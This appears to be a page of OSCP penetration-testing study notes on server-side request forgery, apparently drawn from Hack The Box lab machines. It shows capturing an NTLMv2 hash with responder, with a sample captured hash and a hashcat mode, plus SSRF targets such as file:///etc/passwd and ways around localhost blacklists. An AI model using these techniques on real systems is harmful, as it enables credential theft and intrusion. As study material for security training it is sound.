> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/exploitation/ssrf.md).

# SSRF

<details>

<summary>SSRF to obtain NTLMv2 hash</summary>

```bash
responder -I tun0
```

Browse to Attacker's IP to obtain the following NTLMv2 Hash.

```bash
[HTTP] NTLMv2 Client   : 192.168.204.165
[HTTP] NTLMv2 Username : HEIST\enox
[HTTP] NTLMv2 Hash     : enox::HEIST:1f2d6ceeabd1027d:51DB01286E038ED29DB83EE92F05353A:010100000000000026C681ADC174D901A246656F25F4FFD20000000002000800370057003600350001001E00570049004E002D00500057003200360053003900550052003600480048000400140037005700360035002E004C004F00430041004C0003003400570049004E002D00500057003200360053003900550052003600480048002E0037005700360035002E004C004F00430041004C000500140037005700360035002E004C004F00430041004C000800300030000000000000000000000000300000C856F6898BEE6992D132CC256AC1C2292F725D1C9CB0A2BB6F2EA6DD672384220A001000000000000000000000000000000000000900220048005400540050002F003100390032002E003100360038002E00340035002E0035000000000000000000
```

Crack hash with Hashcat (mode: 5600)

</details>

<details>

<summary>Interesting files to SSRF</summary>

```
file:///etc/passwd
http://<admin>.forge.htb
http://forge.htb/admin
```

</details>

<details>

<summary>Bypassing blacklist</summary>

If `127.0.0.1` or domain name is banned, use the following localhost alternatives:

```bash
127.X.X.X --> eg: 127.3.5.1 
http://fOrgE.hTb --> mixed upper & lowercase characters
```

</details>